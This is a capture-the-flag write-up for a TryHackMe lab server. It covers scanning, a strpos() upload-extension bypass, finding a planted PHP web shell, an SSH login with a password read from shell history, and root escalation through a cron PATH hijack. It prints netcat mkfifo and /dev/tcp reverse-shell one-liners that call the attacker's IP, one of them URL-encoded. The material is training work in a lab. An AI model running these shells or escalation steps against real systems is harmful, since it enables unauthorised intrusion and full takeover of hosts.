THM Writeup – Hacker vs. Hacker
Someone has compromised this server already! Can you get in and evade their countermeasures?
The server of this recruitment company appears to have been hacked, and the hacker has defeated all attempts by the admins to fix the machine. They can’t shut it down (they’d lose SEO!) so maybe you can help?
Add IP address to your hosts
file:
echo '10.10.4.82 hacker.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv hacker.thm
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 22,80 hacker.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: RecruitSec: Industry Leading Infosec Recruitment
We have 2 ports open: 22 (SSH – Secure Shell), 80 (HTTP – Apache server)
Finding a Way In
Let’s check web application – browse to http://hacker.thm:
Scroll down and you’ll find out that we are able to upload a file:
Now view the page source – by scrolling down to file upload section we find and interesting comment:
/cvs
is probably a directory
Check it out by browsing to http://hacker.thm/cvs:
Yes, it is a directory, however unfortunatelly for us directory listing is disabled.
Directory brute-force the web application – we might discover more interesting directories:
root@attackbox:~# gobuster dir -u http://hacker.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
2022/08/16 12:28:35 Starting gobuster
===============================================================
/images (Status: 301)
/index.html (Status: 200)
/upload.php (Status: 200)
/css (Status: 301)
/cvs (Status: 301)
/dist (Status: 301)
/server-status (Status: 403)
===============================================================
2022/08/16 12:30:29 Finished
===============================================================
Now let’s try to browse to http://hacker.thm/upload.php:
As we were told, this web application has already been hacked.
At this point I created a test file to try and catch upload process by BurpSuite – so create a file first:
echo 'test file content' > test.txt
Start BurpSuite and try to upload the test file test.txt
:
As we can see in the response, the upload PHP code is commented out and disclosed to us. Thanks to that we now know few things:
- the target upload directory is
cvs
– we found the directory earlier - how the application determines an uploaded file extension – it uses
strpos()
function
Quick googling tells us how the strpos()
function works:
Ok, there are 2 required parameters, the function finds a string (second parameter) in a string (first parameter), however the function doesn’t care where (string’s position) is the wanted string found, e.g. wherever is .pdf
found the function’s output is true
. This means we can easily bypass the function by using more extensions, e.g. test.pdf.php
– this must have been exploited by a hacker…
Well, upload.php
was “closed” by a hacker, so how we get in? As mentioned before, a hacker had to upload a shell, so let’s try to find it. It might still reside in cvs
directory.
I wrote my own little python fuzzing script:
#!/usr/bin/env python3
import requests
import sys
import datetime
URL = sys.argv[1]
FILE = sys.argv[2]
localtime = '{0:%Y-%m-%d %H:%M:%S}'.format(datetime.datetime.now())
print("===========================================")
print(localtime, "Starting fz")
print("===========================================")
with open(FILE, "r", encoding="ISO-8859-1") as wl_file:
for line in wl_file:
stripped_line = line.strip()
cURL = URL.replace("FUZZ", stripped_line)
print("Testing word: " + stripped_line + ' ' * 20, end = "\r")
r = requests.get(cURL)
# This depends on the situation:
if r.status_code != 404:
print(cURL, "(Status:", str(r.status_code) + ")")
localtime = '{0:%Y-%m-%d %H:%M:%S}'.format(datetime.datetime.now())
print("===========================================")
print(localtime, "Finished")
print("===========================================")
Save it to a file named fz
and make it executable:
chmod +x fz
Fuzz the cvs
directory:
root@attackbox:~# ./fz http://hacker.thm/cvs/FUZZ.pdf.php /usr/share/wordlists/dirb/big.txt
===========================================
2022-08-16 14:17:20 Starting fz
===========================================
http://hacker.thm/cvs/.htaccess.pdf.php (Status: 403)
http://hacker.thm/cvs/.htpasswd.pdf.php (Status: 403)
http://hacker.thm/cvs/shell.pdf.php (Status: 200)
===========================================
2022-08-16 14:18:25 Finished
===========================================
Great, we found the shell, check it by browsing it:
At this point I was not sure what to do next, but I remembered that I use cmd
query parameter with php shell, so I gave it a try:
Awesome, let’s get a reverse shell now.
Getting Reverse Shell
Run netcat listener:
nc -lnvp 4242
Take this as cmd
parameter value:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.172 4242 >/tmp/f
Make sure to edit the IP address to IP address of your attacking machine and then URL encode it.
I used BurpSuite’s Decoder module:
Now browse to:
http://hacker.thm/cvs/shell.pdf.php?cmd=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%35%2e%31%37%32%20%34%32%34%32%20%3e%2f%74%6d%70%2f%66
Don’t forget to change cmd
parameter’s value.
And we have a reverse shell:
root@attackbox:~# nc -lnvp 4242
Listening on [0.0.0.0] (family 0, port 4242)
Connection from 10.10.4.82 40730 received!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Find user.txt
and read it:
$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 May 5 04:38 .
drwxr-xr-x 19 root root 4096 May 5 03:46 ..
drwxr-xr-x 4 lachlan lachlan 4096 May 5 04:39 lachlan
$ ls -la /home/lachlan
total 36
drwxr-xr-x 4 lachlan lachlan 4096 May 5 04:39 .
drwxr-xr-x 3 root root 4096 May 5 04:38 ..
-rw-r--r-- 1 lachlan lachlan 168 May 5 04:38 .bash_history
-rw-r--r-- 1 lachlan lachlan 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25 2020 .bashrc
drwx------ 2 lachlan lachlan 4096 May 5 04:39 .cache
-rw-r--r-- 1 lachlan lachlan 807 Feb 25 2020 .profile
drwxr-xr-x 2 lachlan lachlan 4096 May 5 04:38 bin
-rw-r--r-- 1 lachlan lachlan 38 May 5 04:38 user.txt
$ cat /home/lachlan/user.txt
thm{[REDACTED]}
Privilege Escalation
As we can see .bash_history
is not empty, so let’s check it:
$ cat /home/lachlan/.bash_history
./cve.sh
./cve-patch.sh
vi /etc/cron.d/persistence
echo -e "[REDACTED]\n[REDACTED]\n[REDACTED]" | passwd
ls -sf /dev/null /home/lachlan/.bash_history
$
Try to login as lachlan
via SSH (use the last part of the password we just revealed):
root@attackbox:~# ssh lachlan@hacker.thm
The authenticity of host 'hacker.thm (10.10.4.82)' can't be established.
ECDSA key fingerprint is SHA256:1JL2Lj4XaQRN1Z9r5+bXLO4sqNT0NssAebebHwtmF/k.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'hacker.thm,10.10.4.82' (ECDSA) to the list of known hosts.
lachlan@hacker.thm's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 16 Aug 2022 02:24:59 PM UTC
System load: 0.0 Processes: 130
Usage of /: 26.5% of 9.78GB Users logged in: 0
Memory usage: 42% IPv4 address for eth0: 10.10.4.82
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu May 5 04:39:19 2022 from 192.168.56.1
$ nope
Connection to hacker.thm closed.
root@attackbox:~#
The login was successful, however our ssh session was terminated after few seconds.
My guess is, there must be a cron job terminating ssh sessions:
$ cat /etc/cron.d/persistence
PATH=/home/lachlan/bin:/bin:/usr/bin
# * * * * * root backup.sh
* * * * * root /bin/sleep 1 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
* * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
$
Yes, here we are. There is another thing that hit my eyes – the PATH
variable. I noticed the /home/lachlan/bin
directory before, but didn’t pay attention to it untill now 🙂 What we need to do, is to create an executable named pkill
in the /home/lachlan/bin
directory…
But we don’t have write permissions:
$ ls -la /home/lachlan
total 36
drwxr-xr-x 4 lachlan lachlan 4096 May 5 04:39 .
drwxr-xr-x 3 root root 4096 May 5 04:38 ..
-rw-r--r-- 1 lachlan lachlan 168 May 5 04:38 .bash_history
-rw-r--r-- 1 lachlan lachlan 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 lachlan lachlan 3771 Feb 25 2020 .bashrc
drwx------ 2 lachlan lachlan 4096 May 5 04:39 .cache
-rw-r--r-- 1 lachlan lachlan 807 Feb 25 2020 .profile
drwxr-xr-x 2 lachlan lachlan 4096 May 5 04:38 bin
-rw-r--r-- 1 lachlan lachlan 38 May 5 04:38 user.txt
So we can’t create a file in bin
directory as www-data
user.
We need to prepare a command, login as lachlan
user and execute the command before the cron job kicks us out:
echo "bash -c 'bash -i >& /dev/tcp/10.10.15.172/4243 0>&1'" > bin/pkill; chmod +x bin/pkill
Do not forget to run a listener before you login and execute command above:
nc -lnvp 4243
And we have reverse shell as root user:
root@attackbox:~# nc -lnvp 4243
Listening on [0.0.0.0] (family 0, port 4243)
Connection from 10.10.4.82 51540 received!
bash: cannot set terminal process group (10950): Inappropriate ioctl for device
bash: no job control in this shell
root@b2r:~#
Find the root flag and read it:
root@b2r:~# ls -la /root
ls -la /root
total 28
drwx------ 4 root root 4096 May 5 04:38 .
drwxr-xr-x 19 root root 4096 May 5 03:46 ..
lrwxrwxrwx 1 root root 9 May 5 04:38 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 38 May 5 04:38 root.txt
drwx------ 3 root root 4096 May 5 03:46 snap
drwx------ 2 root root 4096 May 5 03:46 .ssh
root@b2r:~# cat /root/root.txt
cat /root/root.txt
thm{[REDACTED]}
Do you like this writeup? Check out other THM Writeups.